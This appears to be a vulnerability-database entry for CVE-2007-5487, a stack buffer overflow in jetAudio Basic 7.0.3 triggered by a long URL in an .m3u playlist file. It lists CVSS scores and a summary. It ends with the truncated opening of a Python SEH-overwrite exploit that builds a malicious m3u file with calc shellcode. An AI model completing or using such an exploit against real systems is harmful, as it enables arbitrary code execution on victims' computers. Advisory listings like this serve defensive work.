9.3
CVSSv2

CVE-2007-5487

Published: 16/10/2007 Updated: 19/10/2017
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 935
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Stack-based buffer overflow in COWON America jetAudio Basic 7.0.3 allows user-assisted remote malicious users to execute arbitrary code via a long URL in an EXTM3U section of a .m3u file.

Vulnerable Product Search on Vulmon Subscribe to Product

cowon america jetaudio 7.0.3 basic

Exploits

#!/usr/bin/python # jetAudio 7x (m3u File) 0day Local SEH Overwrite Exploit # Bug discovered by Krystian Kloskowski (h07) <h07@interiapl> # Tested on: jetAudio 703 Basic / 2k SP4 Polish # Shellcode: Windows Execute Command (calc) <metasploitcom> # Just for fun ;) ## from struct import pack m3u = ("#EXTM3U\n%s") shellcod ...